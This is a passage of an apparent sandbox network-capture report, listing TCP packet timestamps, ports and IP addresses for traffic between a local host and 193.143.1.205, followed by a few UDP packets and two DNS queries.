Jan 10, 2025 19:37:27.170007944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.170020103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.170020103 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.170036077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.170048952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.170053959 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.170061111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.170073986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.170099020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.172734022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172748089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172760010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172772884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172789097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.172822952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.172883034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172898054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172909975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172923088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172928095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.172935963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172949076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172961950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172961950 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.172972918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.172982931 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.172986984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.173000097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.173008919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.173026085 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.184479952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245452881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245529890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245544910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245556116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245588064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245593071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245601892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245626926 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245640039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245641947 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245651007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245665073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245671034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245676041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245693922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245697975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245713949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245722055 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245723963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245737076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245738983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245759010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245770931 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245773077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245796919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245949984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245971918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245982885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.245990992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.245994091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246005058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246016979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246022940 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246038914 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246046066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246056080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246066093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246078014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246078968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246090889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246100903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246113062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246124029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246134043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246134043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246148109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246160030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246161938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246174097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246184111 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246189117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246218920 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246248007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246258974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246272087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246283054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246289015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246295929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246309042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246314049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246340036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246359110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246371031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246381044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246402025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246409893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246428013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246433973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246448040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246458054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246470928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.246474028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.246499062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.257488966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257514954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257529974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257541895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257548094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.257565975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.257567883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257580042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257595062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257608891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.257643938 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.257838964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257853985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257868052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257885933 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257891893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.257914066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257929087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.257937908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257950068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257960081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257972956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257977962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.257998943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.257998943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258008957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258014917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258027077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258050919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258081913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258095980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258110046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258121967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258121967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258135080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258150101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258176088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258212090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258224964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258277893 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258286953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258301973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258313894 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258326054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258338928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258367062 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258382082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258394957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258408070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258421898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258433104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258436918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258449078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258459091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258486986 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258534908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258546114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258558035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258570910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258583069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258585930 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258609056 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258629084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258646011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258668900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258672953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258685112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258697987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258709908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258711100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258734941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258814096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258826017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258838892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258850098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258855104 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258862972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258881092 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258904934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.258975029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.258989096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259001970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259016037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259026051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259028912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259041071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259053946 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259056091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259079933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259120941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259134054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259160042 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259251118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259263039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259274006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259288073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259299040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259319067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259332895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259345055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259378910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259378910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259378910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259390116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259413004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259426117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259435892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259435892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259449959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.259496927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.259496927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.264997005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.339411020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.339466095 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.339483023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.339495897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.339509010 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.339526892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.339534998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.339549065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.339565992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.339601994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.340670109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.340682030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.340693951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.340706110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.340717077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.340727091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.340740919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.340735912 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.340774059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.340774059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.340811968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.341577053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.341590881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.341603041 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.341609001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.341623068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.341635942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.341648102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.341653109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.341696024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.341696024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.343518972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.343539953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.343554974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.343566895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.343580008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.343574047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.343590975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.343604088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.343611002 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.343616009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.343636036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.343662024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.345113993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345127106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345149994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345160961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345164061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.345174074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345182896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345186949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.345200062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345211983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.345220089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345231056 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.345246077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.345280886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.347071886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.347084999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.347096920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.347122908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.347131014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.347140074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.347156048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.347172022 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.347172022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.347245932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358469963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358481884 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358493090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358505011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358515978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358527899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358530045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358545065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358557940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358561039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358571053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358603954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358613968 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358675003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358696938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358711004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358722925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358748913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358761072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358761072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358774900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358787060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358788013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358798981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358812094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358817101 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358822107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358855009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.358856916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.358870983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.418469906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.529504061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.924379110 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.929251909 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:27.929357052 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.929747105 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:27.934520006 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:28.764647007 CET	8888	49722	193.143.1.205	192.168.2.6
Jan 10, 2025 19:37:28.819127083 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:29.494189978 CET	49722	8888	192.168.2.6	193.143.1.205
Jan 10, 2025 19:37:50.695703030 CET	55418	53	192.168.2.6	162.159.36.2
Jan 10, 2025 19:37:50.700575113 CET	53	55418	162.159.36.2	192.168.2.6
Jan 10, 2025 19:37:50.700653076 CET	55418	53	192.168.2.6	162.159.36.2
Jan 10, 2025 19:37:50.705507040 CET	53	55418	162.159.36.2	192.168.2.6
Jan 10, 2025 19:37:51.174838066 CET	55418	53	192.168.2.6	162.159.36.2
Jan 10, 2025 19:37:51.179941893 CET	53	55418	162.159.36.2	192.168.2.6
Jan 10, 2025 19:37:51.180015087 CET	55418	53	192.168.2.6	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:37:35.345927000 CET	56950	53	192.168.2.6	1.1.1.1
Jan 10, 2025 19:37:50.695190907 CET	53	62847	162.159.36.2	192.168.2.6
Jan 10, 2025 19:37:51.280241013 CET	51893	53	192.168.2.6	1.1.1.1
Jan 10, 2025 19:37:51.288079977 CET	53	51893	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:37:35.345927000 CET	192.168.2.6	1.1.1.1	0x2544	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:37:51.280241013 CET	192.168.2.6	1.1.1.1	0x47fa	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

